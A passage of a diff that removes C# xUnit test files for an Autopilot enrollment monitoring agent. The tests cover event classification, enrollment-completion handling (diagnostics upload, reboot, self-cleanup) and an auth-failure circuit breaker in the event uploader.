public void HandleBackfillRecord_Failure_AlwaysFires()
|
||||
{
|
||||
// Backfill failure path has no fire-once guard — every match triggers EspFailureDetected.
|
||||
var t = CreateTracker();
|
||||
|
||||
t.HandleBackfillRecord("ESPProgress_Failure: boom");
|
||||
|
||||
Assert.Single(_espFailures);
|
||||
Assert.Equal("ESPProgress_Failure", _espFailures[0]);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,130 +0,0 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Core
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests for CollectorCoordinator's static classification logic.
|
||||
/// Prevents: real enrollment events being misclassified as periodic (no idle reset),
|
||||
/// or periodic events resetting idle timers (masking stalled enrollment).
|
||||
/// </summary>
|
||||
public class CollectorCoordinatorTests
|
||||
{
|
||||
// -- Periodic events must NOT reset idle tracking --
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_PerformanceSnapshot_True()
|
||||
{
|
||||
Assert.True(CollectorCoordinator.IsPeriodicEvent("performance_snapshot"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_AgentMetricsSnapshot_True()
|
||||
{
|
||||
Assert.True(CollectorCoordinator.IsPeriodicEvent("agent_metrics_snapshot"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_PerformanceCollectorStopped_True()
|
||||
{
|
||||
Assert.True(CollectorCoordinator.IsPeriodicEvent("performance_collector_stopped"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_AgentMetricsCollectorStopped_True()
|
||||
{
|
||||
Assert.True(CollectorCoordinator.IsPeriodicEvent("agent_metrics_collector_stopped"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_StallProbeCheck_True()
|
||||
{
|
||||
Assert.True(CollectorCoordinator.IsPeriodicEvent("stall_probe_check"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_StallProbeResult_True()
|
||||
{
|
||||
Assert.True(CollectorCoordinator.IsPeriodicEvent("stall_probe_result"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_SessionStalled_True()
|
||||
{
|
||||
Assert.True(CollectorCoordinator.IsPeriodicEvent("session_stalled"));
|
||||
}
|
||||
|
||||
// -- Real enrollment events must reset idle tracking --
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_EspPhaseChanged_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("esp_phase_changed"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_AppInstall_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("app_install"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_EnrollmentComplete_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("enrollment_complete"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_EnrollmentFailed_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("enrollment_failed"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_AgentStarted_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("agent_started"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_DesktopArrived_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("desktop_arrived"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_WhitegloveComplete_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("whiteglove_complete"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_DoTelemetry_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("do_telemetry"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_DownloadProgress_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("download_progress"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_EmptyString_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsPeriodicEvent_ArbitraryEvent_False()
|
||||
{
|
||||
Assert.False(CollectorCoordinator.IsPeriodicEvent("some_custom_event"));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,402 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Moq;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Core
|
||||
{
|
||||
public class EnrollmentCompletionHandlerTests
|
||||
{
|
||||
private readonly AgentConfiguration _config;
|
||||
private readonly Mock<CleanupService> _mockCleanup;
|
||||
private readonly Mock<DiagnosticsPackageService> _mockDiagnostics;
|
||||
private readonly Mock<SessionPersistence> _mockPersistence;
|
||||
private readonly Mock<EventSpool> _mockSpool;
|
||||
private readonly List<EnrollmentEvent> _emittedEvents;
|
||||
private readonly List<(string type, string message, Dictionary<string, object> data)> _shutdownEvents;
|
||||
private int _uploadCallCount;
|
||||
#pragma warning disable CS0414
|
||||
private bool _stopTimersCalled;
|
||||
#pragma warning restore CS0414
|
||||
private bool _stopCollectorsCalled;
|
||||
private int? _shutdownAnalyzerPhase;
|
||||
private int? _exitCode;
|
||||
private int? _rebootDelaySeconds;
|
||||
|
||||
public EnrollmentCompletionHandlerTests()
|
||||
{
|
||||
_config = new AgentConfiguration
|
||||
{
|
||||
SessionId = "test-session",
|
||||
TenantId = "test-tenant",
|
||||
SelfDestructOnComplete = false,
|
||||
RebootOnComplete = false,
|
||||
RebootDelaySeconds = 10,
|
||||
DiagnosticsUploadMode = "Off",
|
||||
DiagnosticsUploadEnabled = false,
|
||||
ShowEnrollmentSummary = false
|
||||
};
|
||||
|
||||
var mockApiClient = new Mock<BackendApiClient>();
|
||||
_mockCleanup = new Mock<CleanupService>(_config, TestLogger.Instance);
|
||||
_mockDiagnostics = new Mock<DiagnosticsPackageService>(_config, TestLogger.Instance, mockApiClient.Object);
|
||||
_mockPersistence = new Mock<SessionPersistence>();
|
||||
_mockSpool = new Mock<EventSpool>();
|
||||
|
||||
_emittedEvents = new List<EnrollmentEvent>();
|
||||
_shutdownEvents = new List<(string, string, Dictionary<string, object>)>();
|
||||
_uploadCallCount = 0;
|
||||
_stopTimersCalled = false;
|
||||
_stopCollectorsCalled = false;
|
||||
_shutdownAnalyzerPhase = null;
|
||||
_exitCode = null;
|
||||
_rebootDelaySeconds = null;
|
||||
}
|
||||
|
||||
private EnrollmentCompletionHandler CreateHandler()
|
||||
{
|
||||
var mock = new Mock<EnrollmentCompletionHandler>(
|
||||
_config,
|
||||
TestLogger.Instance,
|
||||
"1.0.0",
|
||||
(Action<EnrollmentEvent>)(e => _emittedEvents.Add(e)),
|
||||
(Action<string, string, Dictionary<string, object>>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
|
||||
(Func<Task>)(() => { _uploadCallCount++; return Task.CompletedTask; }),
|
||||
(Action)(() => _stopTimersCalled = true),
|
||||
_mockCleanup.Object,
|
||||
_mockDiagnostics.Object,
|
||||
_mockPersistence.Object,
|
||||
_mockSpool.Object)
|
||||
{ CallBase = true };
|
||||
|
||||
mock.Setup(x => x.ExitProcess(It.IsAny<int>()))
|
||||
.Callback<int>(code => _exitCode = code);
|
||||
mock.Setup(x => x.StartReboot(It.IsAny<int>()))
|
||||
.Callback<int>(delay => _rebootDelaySeconds = delay);
|
||||
|
||||
return mock.Object;
|
||||
}
|
||||
|
||||
private void StopCollectors() => _stopCollectorsCalled = true;
|
||||
private void RunShutdownAnalyzers(int? phase) => _shutdownAnalyzerPhase = phase;
|
||||
|
||||
// ===== Diagnostics Upload Mode Logic =====
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_DiagnosticsModeOff_NoDiagnosticsEmitted()
|
||||
{
|
||||
_config.DiagnosticsUploadMode = "Off";
|
||||
_config.DiagnosticsUploadEnabled = true;
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
|
||||
_mockDiagnostics.Verify(d => d.CreateAndUploadAsync(It.IsAny<bool>(), It.IsAny<string>()), Times.Never);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_DiagnosticsEnabledFalse_NoDiagnosticsEmitted()
|
||||
{
|
||||
_config.DiagnosticsUploadMode = "Always";
|
||||
_config.DiagnosticsUploadEnabled = false;
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_OnFailure_SucceededEnrollment_Skipped()
|
||||
{
|
||||
_config.DiagnosticsUploadMode = "OnFailure";
|
||||
_config.DiagnosticsUploadEnabled = true;
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_OnFailure_FailedEnrollment_Uploads()
|
||||
{
|
||||
_config.DiagnosticsUploadMode = "OnFailure";
|
||||
_config.DiagnosticsUploadEnabled = true;
|
||||
_mockDiagnostics.Setup(d => d.CreateAndUploadAsync(false, null))
|
||||
.ReturnsAsync(new DiagnosticsUploadResult { BlobName = "test-blob.zip" });
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(false, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_collecting");
|
||||
Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_uploaded");
|
||||
_mockDiagnostics.Verify(d => d.CreateAndUploadAsync(false, null), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_Always_SucceededEnrollment_Uploads()
|
||||
{
|
||||
_config.DiagnosticsUploadMode = "Always";
|
||||
_config.DiagnosticsUploadEnabled = true;
|
||||
_mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, null))
|
||||
.ReturnsAsync(new DiagnosticsUploadResult { BlobName = "test-blob.zip" });
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_uploaded");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_DiagnosticsUploadFailed_EmitsFailedEvent()
|
||||
{
|
||||
_config.DiagnosticsUploadMode = "Always";
|
||||
_config.DiagnosticsUploadEnabled = true;
|
||||
_mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, null))
|
||||
.ReturnsAsync(new DiagnosticsUploadResult { ErrorCode = "BlobStorageError" });
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_upload_failed");
|
||||
}
|
||||
|
||||
// ===== HandleEnrollmentComplete Flow =====
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_Success_FullSequence()
|
||||
{
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.True(_stopCollectorsCalled);
|
||||
_mockSpool.Verify(s => s.StopWatching(), Times.Once);
|
||||
Assert.Null(_shutdownAnalyzerPhase); // null for non-WhiteGlove
|
||||
Assert.True(_uploadCallCount >= 1);
|
||||
Assert.Single(_shutdownEvents);
|
||||
Assert.Equal("enrollment_complete", _shutdownEvents[0].type);
|
||||
Assert.Equal(true, _shutdownEvents[0].data["enrollmentSucceeded"]);
|
||||
Assert.Equal(0, _exitCode);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_Failure_EmitsEnrollmentFailed()
|
||||
{
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(false, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.Single(_shutdownEvents);
|
||||
Assert.Equal("enrollment_failed", _shutdownEvents[0].type);
|
||||
Assert.Equal(false, _shutdownEvents[0].data["enrollmentSucceeded"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_SelfDestruct_CallsCleanupService()
|
||||
{
|
||||
_config.SelfDestructOnComplete = true;
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
_mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_RebootOnComplete_EmitsRebootEvent()
|
||||
{
|
||||
_config.SelfDestructOnComplete = false;
|
||||
_config.RebootOnComplete = true;
|
||||
_config.RebootDelaySeconds = 30;
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.Contains(_emittedEvents, e =>
|
||||
e.EventType == "reboot_triggered" &&
|
||||
(int)e.Data["rebootDelaySeconds"] == 30);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_NoSelfDestruct_NoReboot_JustExits()
|
||||
{
|
||||
_config.SelfDestructOnComplete = false;
|
||||
_config.RebootOnComplete = false;
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
_mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Never);
|
||||
Assert.DoesNotContain(_emittedEvents, e => e.EventType == "reboot_triggered");
|
||||
Assert.Equal(0, _exitCode);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_WhiteGlovePart2_PassesPhase2()
|
||||
{
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, isWhiteGlovePart2: true, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.Equal(2, _shutdownAnalyzerPhase);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_NotWhiteGlovePart2_PassesNull()
|
||||
{
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(true, isWhiteGlovePart2: false, StopCollectors, RunShutdownAnalyzers);
|
||||
|
||||
Assert.Null(_shutdownAnalyzerPhase);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleEnrollmentComplete_Exception_ExitsWithCode1()
|
||||
{
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleEnrollmentComplete(
|
||||
true, false,
|
||||
() => throw new InvalidOperationException("collector exploded"),
|
||||
RunShutdownAnalyzers);
|
||||
|
||||
Assert.Equal(1, _exitCode);
|
||||
}
|
||||
|
||||
// ===== HandleWhiteGloveComplete Flow =====
|
||||
|
||||
[Fact]
|
||||
public async Task HandleWhiteGloveComplete_DrainsSpool()
|
||||
{
|
||||
var drainCalls = 0;
|
||||
// Spool returns 5 events for 2 iterations, then 0
|
||||
_mockSpool.Setup(s => s.GetCount())
|
||||
.Returns(() => drainCalls < 2 ? 5 : 0);
|
||||
|
||||
var mock = new Mock<EnrollmentCompletionHandler>(
|
||||
_config,
|
||||
TestLogger.Instance,
|
||||
"1.0.0",
|
||||
(Action<EnrollmentEvent>)(e => _emittedEvents.Add(e)),
|
||||
(Action<string, string, Dictionary<string, object>>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
|
||||
(Func<Task>)(() => { drainCalls++; return Task.CompletedTask; }),
|
||||
(Action)(() => _stopTimersCalled = true),
|
||||
_mockCleanup.Object,
|
||||
_mockDiagnostics.Object,
|
||||
_mockPersistence.Object,
|
||||
_mockSpool.Object)
|
||||
{ CallBase = true };
|
||||
|
||||
mock.Setup(x => x.ExitProcess(It.IsAny<int>()))
|
||||
.Callback<int>(code => _exitCode = code);
|
||||
mock.Setup(x => x.StartReboot(It.IsAny<int>()));
|
||||
|
||||
var handler = mock.Object;
|
||||
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 42L);
|
||||
|
||||
Assert.True(drainCalls >= 2);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleWhiteGloveComplete_SavesMarkerAndSequence()
|
||||
{
|
||||
_mockSpool.Setup(s => s.GetCount()).Returns(0);
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 99L);
|
||||
|
||||
_mockPersistence.Verify(p => p.SaveWhiteGloveComplete(), Times.Once);
|
||||
_mockPersistence.Verify(p => p.SaveSequence(99L), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleWhiteGloveComplete_EmitsCorrectShutdownEvent()
|
||||
{
|
||||
_mockSpool.Setup(s => s.GetCount()).Returns(0);
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
|
||||
|
||||
Assert.Single(_shutdownEvents);
|
||||
Assert.Equal("whiteglove_complete", _shutdownEvents[0].type);
|
||||
Assert.Equal(true, _shutdownEvents[0].data["sessionPreserved"]);
|
||||
Assert.Equal(false, _shutdownEvents[0].data["selfDestruct"]);
|
||||
Assert.Equal(true, _shutdownEvents[0].data["willResumeOnNextBoot"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleWhiteGloveComplete_RunsPhase1Analyzers()
|
||||
{
|
||||
_mockSpool.Setup(s => s.GetCount()).Returns(0);
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
|
||||
|
||||
Assert.Equal(1, _shutdownAnalyzerPhase);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleWhiteGloveComplete_Exception_ExitsWithCode0()
|
||||
{
|
||||
_mockSpool.Setup(s => s.GetCount()).Returns(0);
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleWhiteGloveComplete(
|
||||
StopCollectors,
|
||||
(int? _) => throw new InvalidOperationException("boom"),
|
||||
() => 1L);
|
||||
|
||||
Assert.Equal(0, _exitCode); // graceful, not 1
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task HandleWhiteGloveComplete_DiagnosticsPreprovSuffix()
|
||||
{
|
||||
_config.DiagnosticsUploadMode = "Always";
|
||||
_config.DiagnosticsUploadEnabled = true;
|
||||
_mockSpool.Setup(s => s.GetCount()).Returns(0);
|
||||
_mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, "preprov"))
|
||||
.ReturnsAsync(new DiagnosticsUploadResult { BlobName = "diag-preprov.zip" });
|
||||
|
||||
var handler = CreateHandler();
|
||||
await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
|
||||
|
||||
_mockDiagnostics.Verify(d => d.CreateAndUploadAsync(true, "preprov"), Times.Once);
|
||||
}
|
||||
|
||||
// ===== DeleteSessionId =====
|
||||
|
||||
[Fact]
|
||||
public void DeleteSessionId_DelegatesToPersistence()
|
||||
{
|
||||
var handler = CreateHandler();
|
||||
handler.DeleteSessionId();
|
||||
|
||||
_mockPersistence.Verify(p => p.DeleteSession(), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void DeleteSessionId_PersistenceThrows_DoesNotRethrow()
|
||||
{
|
||||
_mockPersistence.Setup(p => p.DeleteSession())
|
||||
.Throws(new System.IO.IOException("locked"));
|
||||
|
||||
var handler = CreateHandler();
|
||||
handler.DeleteSessionId(); // should not throw
|
||||
|
||||
_mockPersistence.Verify(p => p.DeleteSession(), Times.Once);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,444 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
|
||||
using AutopilotMonitor.Agent.Core.Tests.Helpers;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Moq;
|
||||
using Xunit;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Core
|
||||
{
|
||||
public class EventUploadOrchestratorTests : IDisposable
|
||||
{
|
||||
private readonly AgentConfiguration _config;
|
||||
private readonly Mock<BackendApiClient> _mockApiClient;
|
||||
private readonly Mock<EmergencyReporter> _mockEmergency;
|
||||
private readonly Mock<DistressReporter> _mockDistress;
|
||||
private readonly Mock<CleanupService> _mockCleanup;
|
||||
private readonly Mock<EventSpool> _mockSpool;
|
||||
private readonly List<EnrollmentEvent> _emittedEvents;
|
||||
private readonly List<(string type, string message, Dictionary<string, object> data)> _shutdownEvents;
|
||||
private bool _terminalEventSeen;
|
||||
private int? _exitCode;
|
||||
|
||||
public EventUploadOrchestratorTests()
|
||||
{
|
||||
_config = new AgentConfiguration
|
||||
{
|
||||
SessionId = "test-session",
|
||||
TenantId = "test-tenant",
|
||||
MaxBatchSize = 100,
|
||||
MaxAuthFailures = 5,
|
||||
AuthFailureTimeoutMinutes = 0,
|
||||
UploadIntervalSeconds = 30
|
||||
};
|
||||
|
||||
_mockApiClient = new Mock<BackendApiClient>();
|
||||
_mockEmergency = new Mock<EmergencyReporter>(
|
||||
_mockApiClient.Object, "test-session", "test-tenant", "1.0", TestLogger.Instance);
|
||||
_mockDistress = new Mock<DistressReporter>(
|
||||
"http://localhost", "test-tenant", "TestMfg", "TestModel", "SN123", "1.0", TestLogger.Instance);
|
||||
_mockCleanup = new Mock<CleanupService>(_config, TestLogger.Instance);
|
||||
_mockSpool = new Mock<EventSpool>();
|
||||
|
||||
_emittedEvents = new List<EnrollmentEvent>();
|
||||
_shutdownEvents = new List<(string, string, Dictionary<string, object>)>();
|
||||
_terminalEventSeen = false;
|
||||
_exitCode = null;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
// Orchestrator disposes timers internally
|
||||
}
|
||||
|
||||
private EventUploadOrchestrator CreateOrchestrator()
|
||||
{
|
||||
var orch = new Mock<EventUploadOrchestrator>(
|
||||
_config,
|
||||
TestLogger.Instance,
|
||||
_mockSpool.Object,
|
||||
_mockApiClient.Object,
|
||||
_mockEmergency.Object,
|
||||
_mockDistress.Object,
|
||||
_mockCleanup.Object,
|
||||
(Action<EnrollmentEvent>)(e => _emittedEvents.Add(e)),
|
||||
(Action<string, string, Dictionary<string, object>>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
|
||||
(Func<bool>)(() => _terminalEventSeen))
|
||||
{ CallBase = true };
|
||||
|
||||
orch.Setup(x => x.ExitProcess(It.IsAny<int>()))
|
||||
.Callback<int>(code => _exitCode = code);
|
||||
|
||||
return orch.Object;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns a Mock ServerActionDispatcher whose DispatchAsync captures the batch into the
|
||||
/// supplied callback. Used by tests that verify the synthesis contract between the orchestrator
|
||||
/// and the dispatcher (kill / admin-action → terminate_session ServerAction).
|
||||
/// </summary>
|
||||
private ServerActionDispatcher CreateCapturingDispatcher(Action<List<ServerAction>> onDispatched)
|
||||
{
|
||||
var mock = new Mock<ServerActionDispatcher>(
|
||||
_config,
|
||||
TestLogger.Instance,
|
||||
(Func<Task<bool>>)(() => Task.FromResult(true)),
|
||||
(Func<string, Task<DiagnosticsUploadResult>>)(_ => Task.FromResult(new DiagnosticsUploadResult())),
|
||||
(Func<ServerAction, Task>)(_ => Task.CompletedTask),
|
||||
(Action<EnrollmentEvent>)(_ => { }))
|
||||
{ CallBase = false };
|
||||
|
||||
mock.Setup(d => d.DispatchAsync(It.IsAny<List<ServerAction>>()))
|
||||
.Returns<List<ServerAction>>(batch => { onDispatched(batch); return Task.CompletedTask; });
|
||||
|
||||
return mock.Object;
|
||||
}
|
||||
|
||||
private List<EnrollmentEvent> CreateTestEvents(int count = 3)
|
||||
{
|
||||
return Enumerable.Range(1, count)
|
||||
.Select(i => new EnrollmentEvent
|
||||
{
|
||||
SessionId = _config.SessionId,
|
||||
TenantId = _config.TenantId,
|
||||
EventType = $"test_event_{i}",
|
||||
Timestamp = DateTime.UtcNow
|
||||
}).ToList();
|
||||
}
|
||||
|
||||
// ===== Auth Failure Circuit Breaker =====
|
||||
|
||||
[Fact]
|
||||
public void HandleAuthFailure_FirstFailure_401_SendsDistressWithCertRejected()
|
||||
{
|
||||
var orch = CreateOrchestrator();
|
||||
orch.HandleAuthFailure(401);
|
||||
|
||||
_mockDistress.Verify(d => d.TrySendAsync(
|
||||
DistressErrorType.AuthCertificateRejected,
|
||||
It.IsAny<string>(),
|
||||
401), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HandleAuthFailure_FirstFailure_403_SendsDistressWithDeviceNotRegistered()
|
||||
{
|
||||
var orch = CreateOrchestrator();
|
||||
orch.HandleAuthFailure(403);
|
||||
|
||||
_mockDistress.Verify(d => d.TrySendAsync(
|
||||
DistressErrorType.DeviceNotRegistered,
|
||||
It.IsAny<string>(),
|
||||
403), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HandleAuthFailure_SecondFailure_DoesNotSendDistressAgain()
|
||||
{
|
||||
var orch = CreateOrchestrator();
|
||||
orch.HandleAuthFailure(401);
|
||||
orch.HandleAuthFailure(401);
|
||||
|
||||
_mockDistress.Verify(d => d.TrySendAsync(
|
||||
It.IsAny<DistressErrorType>(),
|
||||
It.IsAny<string>(),
|
||||
It.IsAny<int?>()), Times.Once);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HandleAuthFailure_BelowThreshold_DoesNotExit()
|
||||
{
|
||||
_config.MaxAuthFailures = 5;
|
||||
var orch = CreateOrchestrator();
|
||||
|
||||
for (int i = 0; i < 4; i++)
|
||||
orch.HandleAuthFailure(401);
|
||||
|
||||
Assert.Null(_exitCode);
|
||||
Assert.Empty(_shutdownEvents);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HandleAuthFailure_ReachesMaxAuthFailures_EmitsShutdownAndExits()
|
||||
{
|
||||
_config.MaxAuthFailures = 3;
|
||||
var orch = CreateOrchestrator();
|
||||
|
||||
for (int i = 0; i < 3; i++)
|
||||
orch.HandleAuthFailure(401);
|
||||
|
||||
Assert.Equal(1, _exitCode);
|
||||
Assert.Single(_shutdownEvents);
|
||||
Assert.Equal("auth_failure", _shutdownEvents[0].type);
|
||||
Assert.Equal("max_attempts", _shutdownEvents[0].data["shutdownTrigger"]);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void HandleAuthFailure_MaxAuthFailuresDisabled_NeverExitsOnCount()
|
||||
{
|
||||
_config.MaxAuthFailures = 0;
|
||||
var orch = CreateOrchestrator();
|
||||
|
||||
for (int i = 0; i < 100; i++)
|
||||
orch.HandleAuthFailure(401);
|
||||
|
||||
Assert.Null(_exitCode);
|
||||
}
|
||||
|
||||
[Fact]
